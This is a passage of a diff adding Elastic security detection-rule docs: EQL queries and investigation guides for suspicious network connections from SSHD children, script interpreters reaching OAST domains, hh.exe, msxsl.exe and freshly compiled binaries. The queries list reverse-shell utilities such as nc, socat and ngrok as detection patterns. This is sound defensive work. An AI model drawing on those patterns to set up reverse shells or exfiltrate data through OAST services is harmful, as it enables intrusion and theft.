known benign process like "/bin/yum" or "/usr/bin/yum", and verify if the process name is not among the excluded ones such as "login_duo", "ssh", "sshd", or "sshd-session". +- Check the timing and frequency of the SSHD child process executions and network connection attempts to identify any patterns or anomalies that could indicate unauthorized or persistent access attempts. +- Correlate the alert with other security events or logs from the same host.id to gather additional context and determine if there are other indicators of compromise or related suspicious activities. + + +*False positive analysis* + + +- Internal administrative scripts or tools that initiate network connections upon SSH login can trigger false positives. To manage this, identify and whitelist these specific scripts or tools by their process names or executable paths. +- Automated software updates or package management processes like yum may occasionally initiate network connections. Exclude these processes by adding them to the exception list using their executable paths. +- Security tools such as login_duo or other authentication mechanisms that establish network connections during SSH sessions can be mistaken for malicious activity. Exclude these tools by specifying their process names in the exception list. +- Custom monitoring or logging solutions that connect to external servers for data aggregation might be flagged. Identify these processes and exclude them by their executable paths or process names to prevent false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified as child processes of SSHD that are attempting unauthorized network connections. +- Conduct a thorough review of SSHD configuration files and shell configuration files for unauthorized modifications or backdoors, and restore them from a known good backup if necessary. +- Change all credentials associated with the affected system, especially those that may have been exposed or used during the unauthorized SSH sessions. +- Apply security patches and updates to the SSH daemon and related software to mitigate known vulnerabilities that could be exploited for persistence or unauthorized access. +- Monitor network traffic for any further suspicious outbound connections from other systems, indicating potential lateral movement or additional compromised hosts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the compromise. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.parent.executable == "/usr/sbin/sshd" and not process.command_line like ("*ansible*", "*BECOME-SUCCESS*")] by process.entity_id + [network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and ( + process.executable like ( + "/tmp/*", "/var/tmp/*", "/dev/shm/*", "./*", "/run/*", "/var/run/*", "/boot/*", "/sys/*", "/lost+found/*", + "/proc/*", "/var/mail/*", "/var/www/*", "/home/*", "/root/*" + ) or + process.name like~ ( + // Hidden processes + ".*", + // Suspicious file formats + "*.elf", "*.sh", "*.py", "*.rb", "*.pl", "*.lua*", "*.php*", ".js", + // Scheduled tasks + "systemd", "cron", "crond", + // Network utilities often used for reverse shells + "nc", "netcat", "ncat", "telnet", "socat", "openssl", "nc.openbsd", "ngrok", "nc.traditional" + ) + ) and + not ( + destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8", "172.31.0.0/16" + ) or + process.executable in ("/bin/yum", "/usr/bin/yum") or + process.name in ("login_duo", "ssh", "sshd", "sshd-session", "sqlplus") + ) + ] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Unix Shell Configuration Modification +** ID: T1546.004 +** Reference URL: https://attack.mitre.org/techniques/T1546/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ +* Technique: +** Name: Remote Service Session Hijacking +** ID: T1563 +** Reference URL: https://attack.mitre.org/techniques/T1563/ +* Sub-technique: +** Name: SSH Hijacking +** ID: T1563.001 +** Reference URL: https://attack.mitre.org/techniques/T1563/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-to-oast-domain-via-script-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-to-oast-domain-via-script-interpreter.asciidoc new file mode 100644 index 0000000000..eb86cd45cd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-to-oast-domain-via-script-interpreter.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-34-network-connection-to-oast-domain-via-script-interpreter]] +=== Network Connection to OAST Domain via Script Interpreter + +Detects when a package service such as npm, gems, or a script interpreter makes an outbound network connection to an OAST (Out-of-band Application Security Testing) domain. Threat actors have been using OAST domains to exfiltrate sensitive data from compromised systems via malicious packages. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://socket.dev/blog/weaponizing-oast-how-malicious-packages-exploit-npm-pypi-and-rubygems + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Supply Chain +* Threat: Web Service Abuse +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network Connection to OAST Domain via Script Interpreter* + + +Out-of-Band Application Security Testing (OAST) services such as interact.sh, burpcollaborator.net, and similar platforms are designed for security testing to detect vulnerabilities through out-of-band data channels. However, threat actors abuse these same services for data exfiltration, command and control, and DNS-based exploitation. This detection rule identifies script interpreters or suspicious processes connecting to known OAST domains, which may indicate exploitation activity or unauthorized security testing. + + +*Possible investigation steps* + + +- Verify with your security team whether authorized penetration testing or red team exercises are currently underway that would involve OAST services. +- Review the process.name and process.executable fields to identify which application initiated the OAST connection and determine if it is a known vulnerable application. +- Examine the dns.question.name field to capture the full OAST subdomain, as the subdomain often contains encoded data or unique identifiers used by attackers. +- Analyze the process.parent.executable and process.command_line to understand how the connecting process was spawned and identify the potential vulnerability being exploited. +- Check for any HTTP request or response data associated with the OAST connection to identify what data may have been exfiltrated. +- Investigate the user.name and host.name to determine the scope of affected systems and user accounts. +- Review web application logs and proxy data for injection attempts or exploitation activity that may have triggered the OAST callback. + + +*False positive analysis* + + +- Authorized security researchers and penetration testers may use OAST services during sanctioned vulnerability assessments. Confirm testing windows with the security team before escalating. +- Bug bounty hunters testing your organization's applications may trigger OAST connections. Verify if bug bounty programs are active and expected. +- Security training or capture-the-flag exercises may involve OAST services for educational purposes. Confirm with training coordinators if such exercises are scheduled. +- Some commercial security scanning tools may use OAST-like services for vulnerability detection. Verify if automated security scanning is running. + + +*Response and remediation* + + +- If unauthorized, immediately block the OAST domain at the network perimeter, DNS resolver, and proxy to prevent further communication. +- Isolate the affected system to prevent lateral movement or additional data exfiltration. +- Identify the vulnerable application or injection point that led to the OAST callback and apply emergency patches or mitigations. +- Review the OAST subdomain and any captured data to assess the scope of information exposure. +- Conduct a thorough code review of affected applications to identify and remediate the underlying vulnerability. +- Implement web application firewall rules to detect and block common injection patterns that lead to OAST exploitation. +- Escalate to the incident response team for further investigation if the activity indicates active exploitation or compromise. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + (process.name == "node" or process.name like ("python*", "ruby*", "perl*"))] + [network where host.os.type == "macos" and event.type == "start" and destination.domain like "*.oast*"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Dependencies and Development Tools +** ID: T1195.001 +** Reference URL: https://attack.mitre.org/techniques/T1195/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-via-compiled-html-file.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-via-compiled-html-file.asciidoc new file mode 100644 index 0000000000..e80bfec385 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-via-compiled-html-file.asciidoc @@ -0,0 +1,204 @@ +[[prebuilt-rule-8-19-34-network-connection-via-compiled-html-file]] +=== Network Connection via Compiled HTML File + +Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. Adversaries may conceal malicious code in a CHM file and deliver it to a victim for execution. CHM content is loaded by the HTML Help executable program (hh.exe). + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Noise: Low +* Performance: Normal +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Network Connection via Compiled HTML File* + + +CHM (Compiled HTML) files are a format for delivering online help files on Windows. CHM files are compressed compilations of various content, such as HTML documents, images, and scripting/web-related programming languages such as VBA, JScript, Java, and ActiveX. + +When users double-click CHM files, the HTML Help executable program (`hh.exe`) will execute them. `hh.exe` also can be used to execute code embedded in those files, PowerShell scripts, and executables. This makes it useful for attackers not only to proxy the execution of malicious payloads via a signed binary that could bypass security controls, but also to gain initial access to environments via social engineering methods. + +This rule identifies network connections done by `hh.exe`, which can potentially indicate abuse to download malicious files or tooling, or masquerading. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - Examine the command lines for suspicious activities. + - Retrieve `.chm`, `.ps1`, and other files that were involved for further examination. + - Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. + - Investigate the file digital signature and process original filename, if suspicious, treat it as potential malware. +- Investigate the target host that the signed binary is communicating with. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executables, scripts and help files retrieved from the system using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of user and command line conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] +- https://ela.st/sysmon-event-22-setup[Sysmon Event ID 22 - DNS Query] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id + [process where host.os.type == "windows" and process.name : "hh.exe" and event.type == "start"] + [network where host.os.type == "windows" and process.name : "hh.exe" and + not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", + "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", + "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", + "FE80::/10", "FF00::/8") and + not dns.question.name : "localhost"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Compiled HTML File +** ID: T1218.001 +** Reference URL: https://attack.mitre.org/techniques/T1218/001/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-via-msxsl.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-via-msxsl.asciidoc new file mode 100644 index 0000000000..6b97f6097d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-via-msxsl.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-34-network-connection-via-msxsl]] +=== Network Connection via MsXsl + +Identifies msxsl.exe making a network connection. This may indicate adversarial activity as msxsl.exe is often leveraged by adversaries to execute malicious scripts and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network Connection via MsXsl* + + +MsXsl.exe is a legitimate Windows utility used to transform XML data using XSLT stylesheets. Adversaries exploit it to execute malicious scripts, bypassing security measures. The detection rule identifies suspicious network activity by MsXsl.exe, focusing on connections to non-local IPs, which may indicate unauthorized data exfiltration or command-and-control communication. + + +*Possible investigation steps* + + +- Review the process execution details for msxsl.exe, focusing on the process.entity_id and event.type fields to confirm the process start event and gather initial context. +- Analyze the network connection details, particularly the destination.ip field, to identify the external IP address msxsl.exe attempted to connect to and assess its reputation or any known associations with malicious activity. +- Check for any related alerts or logs involving the same process.entity_id to determine if msxsl.exe has been involved in other suspicious activities or if there are patterns of behavior indicating a broader attack. +- Investigate the parent process of msxsl.exe to understand how it was launched and whether it was initiated by a legitimate application or a potentially malicious script. +- Examine the system for any additional indicators of compromise, such as unusual file modifications or other processes making unexpected network connections, to assess the scope of potential adversarial activity. + + +*False positive analysis* + + +- Legitimate use of msxsl.exe for XML transformations in enterprise applications may trigger alerts. Users should identify and whitelist known applications or processes that use msxsl.exe for legitimate purposes. +- Automated scripts or scheduled tasks that utilize msxsl.exe for data processing can cause false positives. Review and document these tasks, then create exceptions for their network activity. +- Development or testing environments where msxsl.exe is used for debugging or testing XML transformations might be flagged. Ensure these environments are recognized and excluded from monitoring if they are verified as non-threatening. +- Internal network tools or monitoring solutions that leverage msxsl.exe for legitimate network communications should be identified. Add these tools to an exception list to prevent unnecessary alerts. +- Regularly review and update the list of excluded IP addresses to ensure that only trusted and verified internal IPs are exempt from triggering the rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized data exfiltration or command-and-control communication. +- Terminate the msxsl.exe process if it is still running to stop any ongoing malicious activity. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any malicious scripts or files associated with msxsl.exe. +- Review and analyze the network logs to identify any other systems that may have been targeted or compromised by similar activity. +- Restore the affected system from a known good backup if any critical system files or configurations have been altered. +- Implement network segmentation to limit the ability of msxsl.exe or similar utilities to make unauthorized external connections in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or data have been impacted. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id + [process where host.os.type == "windows" and process.name : "msxsl.exe" and event.type == "start"] + [network where host.os.type == "windows" and process.name : "msxsl.exe" and + not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", + "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", + "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", + "FE80::/10", "FF00::/8")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: XSL Script Processing +** ID: T1220 +** Reference URL: https://attack.mitre.org/techniques/T1220/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-via-recently-compiled-executable.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-via-recently-compiled-executable.asciidoc new file mode 100644 index 0000000000..bd9f072525 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-via-recently-compiled-executable.asciidoc @@ -0,0 +1,185 @@ +[[prebuilt-rule-8-19-34-network-connection-via-recently-compiled-executable]] +=== Network Connection via Recently Compiled Executable + +This rule monitors a sequence involving a program compilation event followed by its execution and a subsequent network connection event. This behavior can indicate the set up of a reverse tcp connection to a command-and-control server. Attackers may spawn reverse shells to establish persistence onto a target system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network Connection via Recently Compiled Executable* + + +In Linux environments, compiling and executing programs is routine for development. However, adversaries exploit this by compiling malicious code to establish reverse shells, enabling remote control. The detection rule identifies this threat by monitoring sequences of compilation, execution, and network activity, flagging unusual connections that deviate from typical patterns, thus indicating potential compromise. + + +*Possible investigation steps* + + +- Review the process execution details to identify the compiler used (e.g., gcc, g++, cc) and examine the arguments passed during the compilation to understand the nature of the compiled code. +- Investigate the file creation event associated with the linker (ld) to determine the output executable file and its location on the system. +- Analyze the subsequent process execution to identify the newly compiled executable and verify its legitimacy by checking its hash against known malware databases. +- Examine the network connection attempt details, focusing on the destination IP address, to determine if it is associated with known malicious activity or command-and-control servers. +- Check the process name involved in the network connection attempt to ensure it is not a commonly used legitimate process, as specified in the query exclusions (e.g., simpleX, conftest, ssh, python, ispnull, pvtui). +- Correlate the timing of the compilation, execution, and network connection events to assess if they align with typical user behavior or indicate suspicious activity. + + +*False positive analysis* + + +- Development activities involving frequent compilation and execution of new code can trigger false positives. To manage this, exclude specific user accounts or directories commonly used for legitimate development work. +- Automated build systems or continuous integration pipelines may compile and execute code regularly. Identify and exclude these processes or IP addresses from monitoring to prevent false alerts. +- Legitimate software updates or installations that involve compiling source code can be mistaken for malicious activity. Exclude known update processes or package managers from the rule. +- Network connections to internal or trusted IP addresses that are not part of the typical exclusion list might be flagged. Update the exclusion list to include these trusted IP ranges. +- Certain legitimate applications that compile and execute code as part of their normal operation, such as IDEs or scripting environments, should be identified and excluded from the rule to reduce noise. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified in the alert, especially those related to the recently compiled executable and any associated network connections. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized user accounts or scheduled tasks. +- Remove any malicious executables or scripts identified during the investigation from the system to prevent re-execution. +- Reset credentials for any accounts that may have been compromised, focusing on those with elevated privileges. +- Update and patch the affected system to close any vulnerabilities that may have been exploited by the attacker. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1m + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name like~ ( + "gcc*", "g++*", "c++", "cc", "c99", "c89", "cc1*", "cc1plus*", "clang*", "clang++*", + "musl-gcc", "musl-clang", "*-linux-gnu-gcc*", "*-linux-gnu-g++*", "*-pc-linux-gnu-gcc*", + "tcc", "zig", "ccache", "distcc" + )] by process.args + [file where host.os.type == "linux" and event.action == "creation" and process.name like~ ( + "ld", "ld.*", "lld", "ld.lld", "mold", "collect2", "*-linux-gnu-ld*", "*-pc-linux-gnu-ld*" + )] by file.name + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec"] by process.name + [network where host.os.type == "linux" and event.action == "connection_attempted" and destination.ip != null and not ( + cidrmatch(destination.ip, "127.0.0.0/8", "169.254.0.0/16", "224.0.0.0/4", "::1") or + process.name in ( + "simpleX", "conftest", "ssh", "python", "ispnull", "pvtui", "npreal2d", "ruby", "source", "ssh", "git-remote-http", + 